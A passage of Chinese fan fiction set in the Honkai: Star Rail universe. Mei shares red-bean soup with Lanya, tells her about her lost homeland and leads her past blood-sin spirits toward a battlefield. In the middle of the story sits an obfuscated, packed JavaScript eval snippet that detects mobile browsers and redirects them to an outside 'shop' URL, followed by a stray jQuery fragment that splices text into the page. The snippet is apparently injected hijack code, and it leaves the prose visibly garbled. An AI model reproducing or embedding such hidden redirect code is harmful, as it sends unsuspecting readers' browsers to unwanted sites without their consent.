不多时,两碗温热的红豆圆子汤端了上来,白瓷碗里,圆润的红豆熬得软烂,雪白的圆子浮在汤面,温热的雾气袅袅升起。
芽衣将其中一碗推到兰涯面前,递过一把勺子:“慢慢吃,小心烫。”
兰涯握着勺子,手指触到温热的瓷碗,学着芽衣的样子,舀起一颗圆子,轻轻送进嘴里。
软糯的圆子在舌尖化开,带着淡淡的甜,温热的汤汁顺着喉咙滑下,暖意从喉咙蔓延到胸口,从胸口蔓延到四肢,驱散了那些在她身体里驻扎了很久的冰冷。。
这是和桃子不一样的甜味。
兰涯第一次尝到这样温暖的味道,她眼睛微微亮了亮,又舀起一勺红豆,细细咀嚼着,像是发现什么宝藏的小动物那样。
眼底的茫然少了几分,却添了几分鲜活的气息。
芽衣坐在对面,静静看着,满是欣慰,嘴角忍不住带上一抹温柔的笑意。
她舀起一勺自己的红豆汤,送进嘴里。甜味在舌尖上扩散开来,她能感觉到。但她也知道,这种感觉不会持续太久。
虚无自灭的诅咒早已缠上她,记忆日渐消退,那些曾经珍贵的片段渐渐模糊,情感也愈发淡漠。她不知道哪一天,连味觉也会彻底消失。
她一直在用甜味锚定自己的感官。桃子,红豆汤,一颗糖。
这些都是她抓住的绳索,用来防止自己完全坠入虚无。可她心里也很清楚,在虚无之路上走得越远,这些绳索就会一根一根地断裂。到最后,再甜美的食物,于自己而言也只是毫无滋味的摆设。感知美好、感受生命意义的能力,被剥夺了。
她想起了那个坐在深渊边缘的兰涯,和此刻坐在她对面、嘴角沾着红豆汤汁、眼睛微微发亮的兰涯,是同一个人。但又不完全是同一个人。
她不希望兰涯重蹈覆辙,被虚无吞噬,失去感知温暖、品尝甜意的能力。
芽衣在心底默默期许,愿这一碗红豆汤的记忆,自己不要忘却。
兰涯把碗里的最后一颗圆子吃完,放下勺子,抬起头看着芽衣。
她的嘴唇上还沾着一点红豆汤汁,那抹裸粉色的唇膏和红豆的红色叠在一起,变成了一种更深的、更温暖的颜色。
“很好吃。”她说。
“嗯。”芽衣说,“很好吃。”
她们坐在海边,听着海浪,吹着海风,享受着红豆汤的温暖。
然后店主打开了星际广播。
滋滋的电流声过后,沉稳的播报声缓缓响起,瞬间打破了小店的宁静,也驱散了几分惬意。
“这里是星际和平公司新闻播报,今日播报两条紧急通知——”
“其一,繁育星神余孽虫群已突破星系壁垒,正沿猎户座航线过境。虫群数量庞大,极具攻击性,提醒各星系往来飞船暂停航行,规避风险。”
“其二,经多方探测确认,绝灭大君诛罗已现身于猎户座星系边缘。其力量波动异常强烈,公司相关部门已启动最高警戒。”
广播声清晰地回荡在小铺里。兰涯握着勺子的手微微收紧。她的手指在瓷勺上用力,指节泛白。
她垂着眼,低声说了一句话。声音很轻,像是自言自语,又像是在回答某个只有她自己能听到的呼唤。
“宇宙又要有大灾了。”
芽衣听出来了,这并非一个旁观者的感慨,而是属于一个当事人的低语。
像是有人在她身上划了一道口子,她不说疼,只是说“又划了啊”。
芽衣看着她,没有立刻接话,伸出手,轻轻地覆在兰涯的手背上。
兰涯的手是凉的。即使在阳光下的海边,即使刚喝过热乎乎的红豆汤,她的手依然是凉的。但这一次,芽衣感觉到,那层凉意下面,有什么东西在微微发热。
“我们第一次见面的时候,”芽衣轻声问,“你很疼吗?”
兰涯沉默了片刻,没有说“是”,只是点了一下头。
芽衣没有追问是什么样的疼。
“我的故乡出云国,”芽衣的声音很轻,像是在讲一个与自己无关的故事,“消亡在了「虚无」的倒影之下。”
兰涯抬起头,怔怔地看向她。
“我侥幸存活,却也被虚无的诅咒缠身,成为了一名自灭者。”
自灭者。兰涯知道这个词。那些被虚无侵蚀、记忆消退、情感淡漠、最终走向自我毁灭的人。她从未想过,这个把自己从深渊里拉出来、温柔陪伴在自己身边的人,竟背负着这样沉重的过往。
“但我不甘愿在虚无中沉沦。”她顿了顿,目光从兰涯身上移开,落在远处的天际线上,“我选择成为一名守望者,扼守着通向深渊的道路,引领每一个不愿堕入虚无、不愿被命运吞噬的生命,回到他们原来的世界。”
“然后我就遇到了你——一个很特别的、被「虚无」排斥的人。”
她转回头,看向兰涯,眼神温柔而坚定。
“虽然不知道你曾经经历了什么,但我不希望你被痛苦裹挟,更不希望你坠入虚无。我们都可以选择反抗,哪怕前路艰难,也总有希望。”
广播里的新闻结束了,换成了音乐节目。
轻快的旋律从那个老旧的喇叭里流出来,和海浪声、海风声混在一起,变成了一种奇怪的、但又莫名和谐的声音。
兰涯看着芽衣,郑重地说:“我不会了。”
未来的灾劫可能难以避免,剧痛也依旧会如期而至,但这一次,她有了愿望。
吃完红豆汤,芽衣问:“你想去哪里?”
兰涯想了想。这个问题很难。
她从来没有被问过想去哪里,在虚数之树的节点上?在轮回的夹缝中?在那些她不需要思考自我的地方?
“我不知道。”她说,后知后觉地发现自己这个回答重复过好多次。
芽衣没有表现出失望或着急。她只是点了点头,说:“那先跟我回去吧。”
通向深渊的道路入口,永远都是阴沉沉的天空。
阴郁的天空之下,有许多血色的身影。
他们散落在灰黑色的荒原上,有的在行走,有的在站立,有的半跪在地上,像是在做什么永远无法完成的动作。
远处有一片黑色的海,海面上伸出了无数血色的手,那些手在空气中抓握着,像是在捞取什么永远捞不到的东西。
兰涯停下脚步,看着那些血色的身影。
察觉到她的目光,芽衣主动解释道:“那些是血罪灵。命途行者执念化成,会无意识地复现已逝者生前的行为。”
“血罪灵……”兰涯念着这个词语。她听说过血罪灵,在那些轮回的记录里,在虚数之树的边缘,她曾远远地感知到过它们的存在。但亲眼看到,是第一次。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485872|202004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他们已经死了吗?”她问。
“是。据说命途行者的精神执念越深,死后成为血罪灵的可能性越大。”
芽衣说着,目光扫过那些血色的身影,眉头微微皱起。“比我来时变多了。”
离她们最近的一个血罪灵,正在不断地重复着一个词。它的声音沙哑、破碎,像是从很远很远的地方传来的回声,每一个字都拖得很长,像是被什么东西卡住了。
“诛罗……诛罗……诛罗……”
兰涯在广播里听到过这个名字。绝灭大君,诛罗。
毁灭星神纳努克麾下的令使,据说力量足以撕裂星系。
她的身体里开始升起一种熟悉的、沉闷的疼痛。
一种共鸣,像是有人在很远的地方敲了一下钟,钟声传到了她的身体里,震得她的骨头嗡嗡作响。
“他们死前和诛罗发生了大战吗?”她问。
芽衣点了点头:“可能是巡海游侠。我之前听到过巡海游侠寻找诛罗的消息。”
巡海游侠。兰涯在记录里见过这个名词。
一群以仇恨为驱动力的巡猎命途行者,追猎着宇宙中的不公与压迫。他们是一群有着共同目标的人,散落在宇宙的各个角落,各自为战,又彼此呼应。
“又是一场大战。”兰涯低声叹息,目光落在那个不断重复“诛罗”的血罪灵身上,“这次宇宙又会迎来怎样的结局呢?”
她见过太多结局。文明的覆灭,星系的崩塌,命途的扭曲。每一个结局都不同,但每一个结局都通往同一个方向,格式化,然后重装系统。
“兰涯。”
芽衣的声音打断了她的思绪。她转过头,看到芽衣正看着她,表情认真。
“我不知道你曾经经历了什么。”芽衣说,“但请你相信,活着的人们,死去的人们,都不想宇宙如此快地迎来终末。”
兰涯一怔。
不远处,那个血罪灵还在重复着“诛罗”。但更远的地方,还有其他的血罪灵,每一个都在重复着不同的词。
兰涯侧耳倾听,那些破碎的、沙哑的声音从四面八方涌来,像是潮水。
“……自由……自由……”
“……家……回家……”
“……孩子……我的孩子……”
那是死去的命途行者们生前的信念。他们死去了,化作了血色的、无意识的、永远在重复的幻影,但他们重复的那些词,是他们活着时最在意的东西。
自由,家,孩子,那些朴素的、温暖的、值得为之战斗的东西。
兰涯怔怔地站在那里,听着那些声音。
“纵然世界只有黑白,但一定会有一点红色稍纵即逝。你抓住它,或放弃它,都是你的选择。”
芽衣的声音从她身后传来,带着一丝柔软,“做出抉择之时,不要让自己后悔。”
兰涯沉默了很久。
灰黑色的荒原延伸到天际,和阴沉沉的天空融为一体。远处的海面上,那些血色的手还在抓握着,像是在捞取什么永远捞不到的东西。
她站在这个宇宙中最接近“死亡”的地方,周围是无数死者的执念,头顶是永远没有阳光的天空,脚下是寸草不生的荒原。
但她没有觉得绝望。
她转过头,看着芽衣。
“我想去战场看看。”她说。